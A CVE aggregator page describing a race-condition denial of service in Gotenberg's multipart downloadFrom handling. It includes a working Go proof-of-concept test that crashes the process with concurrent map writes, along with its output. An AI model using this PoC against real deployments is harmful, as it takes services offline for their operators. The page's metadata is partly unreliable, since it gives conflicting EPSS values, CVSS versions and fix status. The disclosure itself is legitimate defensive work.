CVE-2026-45742

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 66% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
7.5
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 7.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gotenberg has a Race Condition via Multipart downloadFrom Handling

Summary

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

  • pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

  • ctx.files[filename] = path
  • ctx.diskToOriginal[path] = filename
  • ctx.filesByField[...] = append(...)

Affected lines in current main:

  • pkg/modules/api/context.go:395
  • pkg/modules/api/context.go:396
  • pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc

package api

import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time"

"github.com/labstack/echo/v4"

"github.com/gotenberg/gotenberg/v8/pkg/gotenberg" )

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64

var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once

server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release

filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(attachment; filename="%s", filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close()

dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } }

payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) }

body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) }

req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType())

echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, }

ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel()

if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395

WARNING: DATA RACE .../pkg/modules/api/context.go:396

WARNING: DATA RACE .../pkg/modules/api/context.go:401

Running the same PoC without -race also demonstrates practical process termination:

GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20

Observed result:

fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api

Impact

This is a remote denial-of-service vulnerability.

Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.

The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

CVSS v3
7.5
EG Score
7.5(low)
EPSS
33.7%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-45742(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
github.com/gotenberg/gotenberg/v88.33.0

Data Freshness Timeline

(refreshed 3× in last 7d / 22× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 01:58 UTCEG score recompute
  2. 2026-07-14 14:08 UTCEG score recompute
  3. 2026-07-11 17:33 UTCEG score recompute
  4. 2026-07-08 17:24 UTCEG score recompute
  5. 2026-07-02 19:16 UTCEG score recompute
  6. 2026-07-02 04:20 UTCEG score recompute
  7. 2026-07-01 13:50 UTCEG score recompute
  8. 2026-07-01 01:31 UTCEG score recompute
  9. 2026-06-30 01:08 UTCEG score recompute
  10. 2026-06-29 12:49 UTCEG score recompute
  11. 2026-06-28 17:53 UTCEG score recompute
  12. 2026-06-28 05:31 UTCEG score recompute
  13. 2026-06-27 17:11 UTCEG score recompute
  14. 2026-06-27 04:35 UTCEG score recompute
  15. 2026-06-26 16:16 UTCEG score recompute
  16. 2026-06-25 18:43 UTCEG score recompute
  17. 2026-06-25 06:24 UTCEG score recompute
  18. 2026-06-24 15:21 UTCEG score recompute
  19. 2026-06-18 22:43 UTCEG score recompute
  20. 2026-06-18 10:23 UTCEG score recompute
  21. 2026-06-17 17:43 UTCEG score recompute
  22. 2026-06-17 03:31 UTCEG score recompute
  23. 2026-06-16 15:11 UTCEG score recompute
  24. 2026-06-16 00:45 UTCEG score recompute
  25. 2026-06-15 12:25 UTCEG score recompute
Show 33 more
  1. 2026-06-14 23:18 UTCEPSS rescore
  2. 2026-06-14 22:14 UTCEG score recompute
  3. 2026-06-14 09:52 UTCEG score recompute
  4. 2026-06-13 23:00 UTCEPSS rescore
  5. 2026-06-13 21:34 UTCEG score recompute
  6. 2026-06-13 09:15 UTCEG score recompute
  7. 2026-06-12 23:12 UTCEPSS rescore
  8. 2026-06-12 20:55 UTCEG score recompute
  9. 2026-06-12 08:35 UTCEG score recompute
  10. 2026-06-11 20:17 UTCEG score recompute
  11. 2026-06-11 07:58 UTCEG score recompute
  12. 2026-06-10 19:39 UTCEG score recompute
  13. 2026-06-10 07:21 UTCEG score recompute
  14. 2026-06-09 19:02 UTCEG score recompute
  15. 2026-06-09 06:44 UTCEG score recompute
  16. 2026-06-08 18:25 UTCEG score recompute
  17. 2026-06-08 05:11 UTCEG score recompute
  18. 2026-06-07 16:53 UTCEG score recompute
  19. 2026-06-07 04:34 UTCEG score recompute
  20. 2026-06-07 04:34 UTCEG score recompute
  21. 2026-06-06 16:15 UTCEG score recompute
  22. 2026-06-06 03:56 UTCEG score recompute
  23. 2026-06-05 15:37 UTCEG score recompute
  24. 2026-06-05 03:17 UTCEG score recompute
  25. 2026-06-04 14:58 UTCEG score recompute
  26. 2026-06-04 02:39 UTCEG score recompute
  27. 2026-06-03 14:20 UTCEG score recompute
  28. 2026-06-03 02:01 UTCEG score recompute
  29. 2026-06-02 13:42 UTCEG score recompute
  30. 2026-06-02 01:23 UTCEG score recompute
  31. 2026-06-01 13:04 UTCEG score recompute
  32. 2026-06-01 00:45 UTCEG score recompute
  33. 2026-05-29 17:21 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-45742?
CVE-2026-45742 is a high vulnerability published on May 29, 2026. Gotenberg has a Race Condition via Multipart downloadFrom Handling Summary Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling. A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without…
When was CVE-2026-45742 disclosed?
CVE-2026-45742 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-45742 actively exploited?
CVE-2026-45742 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 33.7% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-45742?
CVE-2026-45742 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-45742?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45742, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45742

Explore →

Is Your Infrastructure Affected by CVE-2026-45742?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.